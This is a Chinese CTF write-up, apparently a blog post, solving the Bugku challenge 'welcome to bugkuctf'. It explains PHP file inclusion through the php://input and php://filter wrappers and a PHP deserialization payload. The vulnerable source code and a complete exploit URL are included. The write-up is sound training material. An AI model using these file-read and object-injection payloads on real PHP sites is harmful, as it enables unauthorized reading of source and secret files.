Bugkuctf web题---------welcome to bugkuctf

今天做到了一道比较有收获的题,所以呢就打算记下来,涉及到了文件包含的知识,复习复习,对于目前滴俺来说,确实有难度!
在这里插入图片描述

题目链接

首先打开题目,如图
在这里插入图片描述查看源码
在这里插入图片描述好的!注释成功引起了我们的注意,第一个线索找到了!
在这里插入图片描述好吧,让我们来分析一下源码
开始来了仨变量,user,file,pass。(跟踪变量有肉吃!)
部分陌生的函数理解:

  1. isset——判断变量是否声明,即user补位空
  2. file_get_contents— 将整个文件读入一个字符串
    然后。。。
    我们发现有个好东西,就是它!这个后面应该会用到的。
    在这里插入图片描述里面可能有些东西,嘿嘿
    点开看看,是不是金屋藏娇了!
    在这里插入图片描述啥都没有。。。好尴尬,有点迷
    看来是没有这么简单

再看源码

在这里插入图片描述
好的,思路来了
即:满足条件后要读取file=hint.php文件!

那么如何满足条件呢?
第一个,满足user存在,那么txt就要有内容

第二,file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

我们想把指定字符串作为文件传给txt,然后再读出user中的内容进行比较,就达成条件了!

那么如何做呢?

这里就要用到一个知识点php伪协议

如果你看着有点懵?那么还是先看看官方文档吧

这里需要的是
php://input----一个可以访问请求的原始数据的只读流。 访问的是文件!

在这里插入图片描述
大致是让txt作为文件名,然后让php://input读取,同时把指定的字符串的内容给post上去,让它成为文件的内容。就得到了
在这里插入图片描述PS:payload此时还不完整哦!
在这里插入图片描述咦?有小伙伴可能要问了,index.php哪儿来的呢?
度娘解释如下
在这里插入图片描述所以可以当做一个经验,如若不服,可以采用御剑去扫一扫啦。

好了,咱满足了条件,接下来是要读取包含滴文件,这就要用到第二个伪协议

php://filter任意文件读取!

放上一个截图,当然也可以选择看官方文档哈

在这里插入图片描述于是我们的payload构造出来了
txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

在这里插入图片描述看到一坨字母,有木有觉得眼熟?没错,它就是base64!

解码后如下

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

哇?flag.php!兴奋啊,马上去一看

在这里插入图片描述又是啥都没有???

是不是sa???都知道了是文件包含,还不会!

在这里插入图片描述又是一坨天书?不知道啥意思,一看源码
在这里插入图片描述啊啊啊,信不信我掀桌子啊
打屎你!现在又该咋办呢?
想一想还有撒没用,好像还有个index.php???

用伪协议读一下

在这里插入图片描述
又是base64,解码得

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

寻找跟flag.php相关的代码!!!
在这里插入图片描述翻译一下意思

如果file不包含’flag’,输出password的值,这个值是反序列化后的结果

反序列化前,应该要有序列化,那么去哪儿找呢?

别忘了咱们的hint.php还没用完哦,

在这里插入图片描述这里要插入一个知识点

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
这样一来,代码的意思就懂了,即当Flag类当做字符串执行时,会自动执行该方法,然后若file文件存在,则输出该文件

于是思路来了!
在这里插入图片描述
联立前面的反序列化,
在这里插入图片描述
构造一个序列化的结果,内容是一个Flag类,里面传递的$file值为想要输出内容的flag.php,
代码如下

<?php
class Flag{
public $file;
}//定义类
$ans=new Flag();//创建一个对象
$ans->file="flag.php";
$ans=serialize($ans);//序列化
print_r($ans)
?>

当然熟悉的小伙伴可以直接写出来

即:o:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

把它传给变量password,get进去就完成啦!当然,include的文件要是hint.php,毕竟要使用里面的函数。

所以最终的payload为
http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述到此结束!
费老大劲儿了!
在这里插入图片描述
感觉菜得不行,还需更努力呀!
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值